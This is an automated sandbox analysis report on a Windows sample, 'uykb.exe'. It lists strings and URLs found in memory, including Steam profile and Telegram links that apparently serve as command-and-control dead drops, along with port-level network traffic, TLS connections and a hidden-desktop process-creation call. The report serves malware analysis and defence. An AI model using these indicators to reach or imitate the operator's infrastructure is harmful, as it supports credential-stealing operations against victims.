Source: uykb.exe, 00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyouh
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyoul
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://getyour.cyoux
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: d2djec.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log5.9.dr, 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log5.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log5.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13382917159604075.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_447.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_451.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_451.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: uykb.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199820567237
Source: uykb.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199820567237hac22tlMozilla/5.0
Source: uykb.exe, 00000000.00000002.2664007747.0000000003AA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: uykb.exe, 00000000.00000002.2664007747.0000000003AA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: uykb.exe, 00000000.00000002.2660773016.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: uykb.exe, 00000000.00000002.2660773016.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/WH
Source: uykb.exe	String found in binary or memory: https://t.me/m08mbk
Source: uykb.exe	String found in binary or memory: https://t.me/m08mbkhac22tlMozilla/5.0
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: uykb.exe, 00000000.00000003.2134873793.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000003.2134725428.0000000000721000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_451.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, 2djekn.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: e40ef767-dbdc-41cc-831a-f1870bc25ebd.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_451.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_451.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_447.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_447.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_447.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: uykb.exe, 00000000.00000002.2664007747.0000000003AA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: uykb.exe, 00000000.00000002.2664007747.0000000003AA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: uykb.exe, 00000000.00000002.2664007747.0000000003AA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.5.153:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50139 version: TLS 1.2

Source: C:\Users\user\Desktop\uykb.exe

Code function: 0_2_00409692 memcpy,CreateDesktopA,CreateProcessA,Sleep,

0_2_00409692

System Summary

PE file has a writeable .text section

Source: uykb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004230D6	0_2_004230D6
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00407EA4	0_2_00407EA4
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00429051	0_2_00429051
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425861	0_2_00425861
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041A871	0_2_0041A871
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425071	0_2_00425071
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00414811	0_2_00414811
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00426011	0_2_00426011
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004188C1	0_2_004188C1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C891	0_2_0041C891
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004150A1	0_2_004150A1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004168A1	0_2_004168A1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004260A1	0_2_004260A1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004280A1	0_2_004280A1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004278B1	0_2_004278B1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00427941	0_2_00427941
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00428941	0_2_00428941
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00414151	0_2_00414151
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00416971	0_2_00416971
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00416111	0_2_00416111
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00403911	0_2_00403911
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00425921	0_2_00425921
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041C9C1	0_2_0041C9C1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004189D1	0_2_004189D1
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_004149D1	0_2_004149D1
